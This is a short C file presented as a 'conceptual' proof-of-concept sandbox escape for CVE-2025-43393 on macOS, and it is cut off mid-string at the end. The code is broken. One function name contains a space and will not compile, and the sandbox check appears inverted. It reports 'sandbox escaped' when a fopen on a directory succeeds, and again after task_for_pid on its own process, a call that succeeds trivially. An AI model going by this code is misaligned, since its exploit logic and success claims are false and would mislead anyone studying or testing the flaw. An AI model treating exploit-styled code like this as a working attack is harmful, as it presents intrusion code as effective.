// CVE-2025-43393 macOS Sandbox Escape PoC (Conceptual) // Note: This is a theoretical PoC for educational purposes only // Actual exploitation requires specific macOS version and conditions #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <mach/mach.h> #include <sandbox.h> int main() { printf("CVE-2025-43393 macOS Sandbox Escape PoC\n"); printf("Target: macOS Tahoe < 26.1\n\n"); // Check if running in sandbox char *error = sandbox inspect_self(NULL); if (error == NULL) { printf("[+] Running in sandbox - attempting escape\n"); // Attempt to access restricted resources // In actual exploit, specific syscalls would be used // Example: Attempt to access arbitrary file path const char *restricted_path = "/System/Library/Sandbox/Profiles"; FILE *fp = fopen(restricted_path, "r"); if (fp != NULL) { printf("[!] Sandbox escape successful - accessed restricted path\n"); fclose(fp); return 1; } else { printf("[-] Access denied (expected in patched version)\n"); } // Attempt to escape sandbox via IPC manipulation mach_port_t task_port; if (task_for_pid(mach_task_self(), getpid(), &task_port) == KERN_SUCCESS) { printf("[!] Obtained task port - sandbox escaped\n"); return 1; } } else { printf("[-] Not running in sandbox or sandbox check failed\n"); } printf("\n[*] PoC completed.
